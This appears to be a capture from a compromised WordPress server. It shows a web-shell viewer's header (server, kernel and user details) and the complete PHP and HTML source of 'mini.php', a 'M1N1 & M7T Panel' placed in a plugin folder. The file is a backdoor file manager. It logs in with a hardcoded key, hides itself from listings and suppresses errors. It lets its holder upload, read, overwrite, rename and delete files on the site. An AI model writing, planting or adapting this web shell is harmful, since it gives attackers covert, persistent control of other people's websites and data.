HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux srvntsweb01 6.8.0-55-generic #57-Ubuntu SMP PREEMPT_DYNAMIC Wed Feb 12 23:42:21 UTC 2025 x86_64
User: admntserv (1000)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/ethnikamauricia.com/wp-content/plugins/hemoj/mini.php
<?php
session_start();
// M1N1 & M7T Panel - Root Jail Edition
// Traffic: Standard JSON API & Multipart Form Data

// --- AYARLAR ---
// Şifre: "m7t" (Lütfen prodüksiyonda değiştirin)
$auth_hash = '$2y$10$8.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.'; 
define('ACCESS_PASS', 'mini'); 

// Hata Gizleme
error_reporting(0);
ini_set('display_errors', 0);

class FileManagerAPI {
    private $cwd;
    private $root; // Kök dizin (Hapishane duvarı)
    private $scriptName;
    
    public function __construct() {
        // 1. Root Jail Tanımla: Scriptin bulunduğu dizin ana sınırdır.
        $this->root = realpath(__DIR__);
        $this->scriptName = basename(__FILE__);
        
        // 2. Mevcut çalışma dizinini ayarla
        $sessCwd = $_SESSION['sys_cwd'] ?? $this->root;
        
        // Eğer session'daki dizin root'un dışındaysa veya yoksa, root'a sıfırla
        if ($this->isAllowedPath($sessCwd) && is_dir($sessCwd)) {
            $this->cwd = $sessCwd;
        } else {
            $this->cwd = $this->root;
            $_SESSION['sys_cwd'] = $this->root;
        }
    }

    /**
     * ROOT JAIL KONTROLÜ
     * Verilen yolun, kök dizin sınırları içinde olup olmadığını kontrol eder.
     */
    private function isAllowedPath($path) {
        $realRoot = $this->root;
        $realPath = realpath($path);

        // Dosya henüz yoksa (yeni oluşturulacaksa) üst klasörüne bak
        if ($realPath === false) {
            $realPath = realpath(dirname($path));
        }

        // Eğer yol çözülemiyorsa veya Root ile başlamıyorsa yasakla
        if ($realPath && strpos($realPath, $realRoot) === 0) {
            return true;
        }
        return false;
    }

    private function sendJSON($status, $message = '', $data = []) {
        header('Content-Type: application/json');
        echo json_encode([
            'status' => $status,
            'message' => $message,
            'data' => $data,
            'cwd' => $this->cwd,
            'csrf' => $_SESSION['csrf_token'] ?? ''
        ]);
        exit;
    }

    private function checkAuth() {
        if (!isset($_SESSION['sys_auth']) || $_SESSION['sys_auth'] !== true) {
            $this->sendJSON('error', 'Unauthorized');
        }
    }

    private function validateCSRF($token) {
        if (!isset($_SESSION['csrf_token']) || $token !== $_SESSION['csrf_token']) {
            $this->sendJSON('error', 'Invalid Security Token');
        }
    }

    public function handleRequest() {
        $method = $_SERVER['REQUEST_METHOD'];
        
        // 1. Dosya Yükleme
        if ($method === 'POST' && isset($_FILES['file'])) {
            $this->checkAuth();
            $this->validateCSRF($_POST['csrf'] ?? '');
            
            // Hedef dizin zaten Constructor'da jail kontrolünden geçtiği için güvenli
            $target = $this->cwd . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
            
            // Ekstra kontrol: Yüklenen dosya adı ile directory traversal denenirse
            if (!$this->isAllowedPath(dirname($target))) {
                 $this->sendJSON('error', 'Security Violation: Path traversal detected');
            }

            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                $this->sendJSON('ok', 'File uploaded successfully');
            } else {
                $this->sendJSON('error', 'Upload failed. Check permissions.');
            }
        }

        // 2. JSON Komutları
        $input = json_decode(file_get_contents('php://input'), true);
        if (!$input) return;

        $action = $input['action'] ?? '';

        if ($action !== 'login') {
            $this->checkAuth();
            if(isset($input['csrf'])) $this->validateCSRF($input['csrf']);
        }

        switch ($action) {
            case 'login':
                if (($input['key'] ?? '') === ACCESS_PASS) {
                    $_SESSION['sys_auth'] = true;
                    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
                    $this->sendJSON('ok', 'Authorized', ['token' => $_SESSION['csrf_token']]);
                }
                $this->sendJSON('error', 'Invalid credentials');
                break;

            case 'logout':
                session_destroy();
                $this->sendJSON('ok', 'Logged out');
                break;

            case 'list':
                $reqPath = $input['path'] ?? $this->cwd;
                
                // GÜVENLİK: Eğer istenen yol root dışındaysa, kök dizine zorla
                if (!$this->isAllowedPath($reqPath)) {
                    $reqPath = $this->root;
                }

                if (is_dir($reqPath)) {
                    $_SESSION['sys_cwd'] = realpath($reqPath);
                    $this->cwd = $_SESSION['sys_cwd'];
                    $items = $this->scanDir($this->cwd);
                    $this->sendJSON('ok', '', $items);
                } else {
                    $this->sendJSON('error', 'Directory not found');
                }
                break;

            case 'read':
                $file = $input['file'] ?? '';
                // GÜVENLİK: Dosya root içinde mi?
                if (!$this->isAllowedPath($file)) $this->sendJSON('error', 'Access Denied (Jail)');
                
                if (is_file($file)) {
                    if(filesize($file) > 1024 * 1024) $this->sendJSON('error', 'File too large to edit online');
                    $content = file_get_contents($file);
                    $this->sendJSON('ok', '', ['content' => $content]);
                }
                $this->sendJSON('error', 'File not found');
                break;

            case 'save':
                $file = $input['file'] ?? '';
                // GÜVENLİK: Kaydedilecek yer root içinde mi?
                if (!$this->isAllowedPath($file)) $this->sendJSON('error', 'Access Denied (Jail)');

                $content = $input['content'] ?? '';
                if (is_writable(dirname($file))) {
                    file_put_contents($file, $content);
                    $this->sendJSON('ok', 'File saved');
                } else {
                    $this->sendJSON('error', 'Permission denied');
                }
                break;

            case 'rename':
                $old = $input['old'] ?? '';
                $newVal = $input['new'] ?? '';
                // Sadece dosya ismini al, path'i temizle (../ engellemek için basename)
                $new = dirname($old) . DIRECTORY_SEPARATOR . basename($newVal);

                // GÜVENLİK: Hem eski dosya hem yeni hedef root içinde olmalı
                if (!$this->isAllowedPath($old) || !$this->isAllowedPath($new)) {
                    $this->sendJSON('error', 'Access Denied (Jail)');
                }

                if (rename($old, $new)) $this->sendJSON('ok', 'Renamed');
                else $this->sendJSON('error', 'Rename failed');
                break;

            case 'delete':
                $path = $input['path'] ?? '';
                // GÜVENLİK: Silinecek yer root içinde mi?
                // Root dizininin kendisini silmeyi de engelle
                if (!$this->isAllowedPath($path) || realpath($path) === $this->root) {
                    $this->sendJSON('error', 'Access Denied (Jail)');
                }
                
                // Script kendini silmeyi engelle
                if (basename($path) === $this->scriptName && dirname($path) === $this->root) {
                    $this->sendJSON('error', 'Cannot delete manager file');
                }

                $this->deleteRecursive($path);
                $this->sendJSON('ok', 'Deleted');
                break;

            case 'mkdir':
                $name = $input['name'] ?? '';
                // Sadece isim al, path'i temizle
                $path = $this->cwd . DIRECTORY_SEPARATOR . basename($name);
                
                // GÜVENLİK:
                if (!$this->isAllowedPath($path)) $this->sendJSON('error', 'Access Denied (Jail)');

                if (@mkdir($path)) $this->sendJSON('ok', 'Folder created');
                else $this->sendJSON('error', 'Failed to create folder');
                break;
        }
    }

    private function scanDir($dir) {
        $files = @scandir($dir);
        $res = ['folders' => [], 'files' => []];
        if (!$files) return $res;
        
        foreach ($files as $f) {
            if ($f == '.' || $f == '..') continue;
            if ($dir == $this->root && $f == $this->scriptName) continue;
            
            $path = $dir . DIRECTORY_SEPARATOR . $f;
            $info = [
                'name' => $f,
                'path' => $path,
                'size' => is_file($path) ? $this->formatSize(@filesize($path)) : '-',
                'perms' => substr(sprintf('%o', fileperms($path)), -4)
            ];
            
            if (is_dir($path)) $res['folders'][] = $info;
            else $res['files'][] = $info;
        }
        return $res;
    }

    private function formatSize($bytes) {
        $units = ['B', 'KB', 'MB', 'GB'];
        $power = $bytes > 0 ? floor(log($bytes, 1024)) : 0;
        return number_format($bytes / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
    }

    private function deleteRecursive($path) {
        // Ekstra güvenlik: Root dışına çıkma
        if (!$this->isAllowedPath($path)) return;

        if (is_dir($path)) {
            $files = array_diff(scandir($path), ['.', '..']);
            foreach ($files as $file) $this->deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
            rmdir($path);
        } elseif (is_file($path)) {
            unlink($path);
        }
    }
}

$api = new FileManagerAPI();
$api->handleRequest();

// Oturum Kontrolü (Login Ekranı vs App Ekranı)
if (!isset($_SESSION['sys_auth'])) {
?>
<!DOCTYPE html>
<html><head><title>M1N1 & M7T Panel</title><meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body{background:#ffebee;display:flex;height:100vh;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif}
.card{background:white;padding:2rem;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,0.1);width:300px}
input{width:100%;padding:10px;margin-bottom:10px;border:1px solid #ffcdd2;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:10px;background:#e57373;color:white;border:none;border-radius:4px;cursor:pointer}
button:hover{background:#ef5350}
</style></head><body>
<div class="card">
    <h3 style="margin-top:0;text-align:center;color:#d32f2f">Authentication</h3>
    <input type="password" id="pass" placeholder="Enter Access Key..." onkeydown="if(event.key==='Enter') login()">
    <button onclick="login()">Login</button>
</div>
<script>
async function login() {
    let k = document.getElementById('pass').value;
    let res = await fetch('', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({action: 'login', key: k})
    }).then(r=>r.json());
    
    if(res.status === 'ok') location.reload();
    else alert(res.message);
}
</script></body></html>
<?php exit; } ?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>M1N1 & M7T Panel</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css">
<meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
<style>
    body { background: #ffebee; font-size: 14px; }
    .card { border: 1px solid #ffcdd2; }
    .card-header { background: #ef9a9a; color: white; }
    .btn-primary { background: #f06292; border: none; }
    .btn-primary:hover { background: #ec407a; }
    .btn-success { background: #ec407a; border: none; }
    .btn-success:hover { background: #e91e63; }
    .btn-danger { background: #e57373; border: none; }
    .btn-danger:hover { background: #ef5350; }
    .btn-light { background: #ffcdd2; border: 1px solid #f48fb1; }
    .table td { vertical-align: middle; }
    .cursor-pointer { cursor: pointer; }
    .code-editor { font-family: 'Consolas', monospace; font-size: 13px; background: #2d2d2d; color: #ccc; border:none; resize: none; }
    #loader { position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,255,255,0.8);z-index:9999;display:none;justify-content:center;align-items:center;}
    .text-danger { color: #e57373 !important; }
</style>
</head>
<body>

<div id="loader"><div class="spinner-border text-danger"></div></div>

<div class="container-fluid py-3">
    <div class="card shadow-sm">
        <div class="card-header py-3">
            <div class="d-flex justify-content-between align-items-center flex-wrap gap-2">
                <div class="btn-group">
                    <button class="btn btn-light" onclick="loadDir(parentDir)"><i class="bi bi-arrow-return-left"></i> Up</button>
                    <button class="btn btn-light" onclick="refresh()"><i class="bi bi-arrow-clockwise"></i></button>
                </div>
                <div class="flex-grow-1 mx-3 text-muted text-truncate font-monospace bg-light p-2 rounded" id="currentPath">...</div>
                <div class="btn-group">
                    <button class="btn btn-primary" onclick="document.getElementById('upl').click()"><i class="bi bi-cloud-upload"></i> Upload</button>
                    <button class="btn btn-success" onclick="mkdir()"><i class="bi bi-folder-plus"></i> New Folder</button>
                    <button class="btn btn-danger" onclick="logout()"><i class="bi bi-power"></i> Logout</button>
                </div>
                <input type="file" id="upl" hidden onchange="uploadFile(this)">
            </div>
        </div>
        <div class="card-body p-0">
            <div class="table-responsive">
                <table class="table table-hover mb-0">
                    <thead class="bg-light"><tr><th>Name</th><th>Size</th><th>Perms</th><th class="text-end">Actions</th></tr></thead>
                    <tbody id="list"></tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<div class="modal fade" id="editModal" tabindex="-1">
    <div class="modal-dialog modal-xl modal-dialog-scrollable h-100">
        <div class="modal-content h-100">
            <div class="modal-header py-2">
                <h6 class="modal-title font-monospace" id="editName"></h6>
                <div>
                    <button class="btn btn-primary btn-sm" onclick="saveFile()">Save Changes</button>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
            </div>
            <div class="modal-body p-0 h-100">
                <textarea id="editor" class="form-control h-100 code-editor rounded-0" spellcheck="false"></textarea>
            </div>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
let state = { cwd: '', file: '' };
let parentDir = ''; // Global parent variable
const csrf = document.querySelector('meta[name="csrf-token"]').content;

// API Wrapper
async function req(action, data = {}) {
    document.getElementById('loader').style.display = 'flex';
    data.action = action;
    data.csrf = csrf;
    
    try {
        let r = await fetch('', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify(data)
        });
        let res = await r.json();
        document.getElementById('loader').style.display = 'none';
        return res;
    } catch (e) {
        document.getElementById('loader').style.display = 'none';
        alert('Network Error');
        return {status:'error'};
    }
}

// Core Functions
async function loadDir(path = null) {
    let res = await req('list', {path: path});
    if(res.status === 'ok') {
        state.cwd = res.cwd;
        document.getElementById('currentPath').innerText = state.cwd;
        
        // Parent calculation
        // Note: The PHP backend will reject paths above root, so simple string manipulation is fine here for UI
        parentDir = state.cwd.split(/[/\\]/).slice(0,-1).join('/'); 
        if(!parentDir) parentDir = state.cwd; // Fallback

        render(res.data);
    } else alert(res.message);
}

function render(data) {
    let html = '';
    // Folders
    data.folders.forEach(d => {
        // Escape paths for JS string
        let p = d.path.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
        html += `<tr>
            <td><a href="javascript:void(0)" onclick="loadDir('${p}')" class="text-decoration-none fw-bold text-dark"><i class="bi bi-folder-fill text-danger me-2"></i>${d.name}</a></td>
            <td>-</td><td class="small text-muted">${d.perms}</td>
            <td class="text-end">
                <button class="btn btn-sm btn-light border" onclick="ren('${p}','${d.name}')">Ren</button>
                <button class="btn btn-sm btn-light border text-danger" onclick="del('${p}')"><i class="bi bi-trash"></i></button>
            </td>
        </tr>`;
    });
    // Files
    data.files.forEach(f => {
        let p = f.path.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
        html += `<tr>
            <td><i class="bi bi-file-earmark-text me-2 text-secondary"></i>${f.name}</td>
            <td>${f.size}</td><td class="small text-muted">${f.perms}</td>
            <td class="text-end">
                <button class="btn btn-sm btn-primary" onclick="edit('${p}')">Edit</button>
                <button class="btn btn-sm btn-light border" onclick="ren('${p}','${f.name}')">Ren</button>
                <button class="btn btn-sm btn-light border text-danger" onclick="del('${p}')"><i class="bi bi-trash"></i></button>
            </td>
        </tr>`;
    });
    document.getElementById('list').innerHTML = html;
}

async function uploadFile(input) {
    if(!input.files.length) return;
    let fd = new FormData();
    fd.append('file', input.files[0]);
    fd.append('csrf', csrf);
    
    document.getElementById('loader').style.display = 'flex';
    let res = await fetch('', {method:'POST', body:fd}).then(r=>r.json());
    document.getElementById('loader').style.display = 'none';
    
    if(res.status === 'ok') { refresh(); } 
    else { alert(res.message); }
    input.value = '';
}

// Actions
async function edit(path) {
    state.file = path;
    let res = await req('read', {file: path});
    if(res.status === 'ok') {
        document.getElementById('editor').value = res.data.content;
        document.getElementById('editName').innerText = path;
        new bootstrap.Modal(document.getElementById('editModal')).show();
    } else alert(res.message);
}

async function saveFile() {
    let content = document.getElementById('editor').value;
    let res = await req('save', {file: state.file, content: content});
    if(res.status === 'ok') alert('Saved'); else alert(res.message);
}

async function ren(oldPath, oldName) {
    let newName = prompt('New Name:', oldName);
    if(newName && newName !== oldName) {
        let res = await req('rename', {old: oldPath, new: newName});
        if(res.status === 'ok') refresh(); else alert(res.message);
    }
}

async function del(path) {
    if(confirm('Delete this item permanently?')) {
        let res = await req('delete', {path: path});
        if(res.status === 'ok') refresh(); else alert(res.message);
    }
}

async function mkdir() {
    let n = prompt('Folder Name:');
    if(n) {
        let res = await req('mkdir', {name: n});
        if(res.status === 'ok') refresh(); else alert(res.message);
    }
}

async function logout() {
    let res = await req('logout');
    if(res.status === 'ok') location.reload();
}

function refresh() { loadDir(state.cwd); }

// Init
loadDir();
</script>
</body>
</html>